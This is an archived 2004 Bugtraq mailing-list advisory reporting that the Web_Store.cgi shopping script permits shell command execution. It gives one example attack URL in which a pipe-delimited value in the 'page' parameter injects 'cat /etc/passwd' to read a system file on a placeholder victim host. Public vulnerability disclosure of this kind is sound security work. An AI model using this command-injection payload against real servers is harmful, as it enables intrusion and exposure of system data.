[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Web_Store.cgi allows Command Execution
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Web_Store.cgi allows Command Execution
- From: "Zero_X www.lobnan.de Team" <zero-x@xxxxxxxxxxxxx>
- Date: 17 Jul 2004 15:05:15 -0000
Web_Store.cgi allows Command Execution:
This application was written by Selena Sol and Gunther Birznieks.
You can execute shellcommands:
http://www.victim.com/cgi-bin/web_store.cgi?page=.html|cat /etc/passwd|
Zero X, member of www.Lobnan.de and www.Lostkey.org